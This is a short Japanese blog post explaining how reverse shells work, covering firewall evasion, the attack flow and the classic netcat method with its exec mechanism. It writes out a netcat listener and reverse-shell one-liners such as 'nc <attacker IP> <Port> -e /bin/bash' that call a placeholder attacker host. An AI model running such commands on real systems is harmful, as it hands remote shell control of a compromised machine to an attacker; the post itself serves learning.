🦔

リバースシェルの詳細をまとめる

に公開

リバースシェルはFWをすり抜けられる

リバースシェルとは標的のマシンのシェルを起動することだが、通常のSSHとは大きく違う点がある。
それは標的マシン側から攻撃者マシンに向かう通信でシェルを起動するということだ。

通常のSSHの場合はクライアントからサーバに向かって通信を行う。
そのため外側に向かう通信さえFWで許可されていれば通信が通ることが多い。

ただし大前提として標的マシンで任意のコマンドを実行できるようになっている必要がある。
つまりリバースシェルが実行できるということは既にサーバに侵入した状態になっている必要があり、リバースシェルをすることでより利便性の高いシェルを起動させるといったイメージだろう。

リバースシェルの大きな流れ

リバースシェルは主に以下の流れで実行される

  1. 標的マシンで任意のコマンドを実行できるところまで侵入
  2. 攻撃者側で待ち受けポートを起動。
    nc -lvp 4444みたいな
  3. 標的マシンでネットワーク経由で標準入出力をbashにリダイレクトするコマンドを実行。
    nc xx.xx.xx.xx 4444 -e /bin/bashみたいな。
    攻撃者の待ち受けポートに向けて通信を送り、入出力が標的側のbashにリダイレクトされるようになる。
    この時点で攻撃者側のマシンでコマンド実行が可能になるが、インタラクティブな操作ができず利便性が低い(要はSSHでできるタブ補完やctrl+C等が使えないということ)
  4. シェルのアップグレード
    SSHのような操作性になるように頑張る

どんなメカニズムなのかを解明する

まず先ほどの流れの1番はリバースシェルに重要な前提だが、任意のコマンドを実行する方法はさまざまだし、リバースシェルには直接関係ないので割愛する。

そして2番の攻撃者側のマシンで待ち受けポートを起動するところも大して重要では無いので説明は割愛する。
自分のマシンなので好きなやり方で自由にポートを起動すればいいと思う。

リバースシェルの起動の部分(3番)

標的のマシンでコマンド実行して、攻撃者との通信ネットワークとシェルを連動させる部分。
ここは重要なのでじっくりと調べてみた。

やり方はいろいろあるのだが、まずは古典的でかつ、最も簡潔なやり方から調査していこう。

やり方その1

コマンドはこれ

nc <攻撃者IP> <Port> -e /bin/bash

ncコマンドはおなじみのネットワーク系のコマンドだ。
このコマンドを実行するとまずは<攻撃者IP> <Port>に対してTCPの確立を試行する。

TCP接続の確立が成功すると、次にeオプションで指定した/bin/bashをプロセスとして起動する。
そしてbashプロセスの標準入出力をTCP接続のネットワーク送受信と紐付ける。
そうすることでbashプロセスの入力はネットワークの受信から受け付けるようになり、出力はネットワークの送信に吐き出されるようになるのだ。

ちなみに-eオプションではexec系のシステムコールが呼ばれており、ncプロセスがbashプロセスに置き換わるらしい。
なのでbashが起動した時点でncプロセスは消え去る状態になるとのこと。
なんとなくイメージはできるが、今度もう少しシステムコールについても調べてみよう。

今回はここまで。次回やり方その2以降を調べてまとめてみよう。

Discussion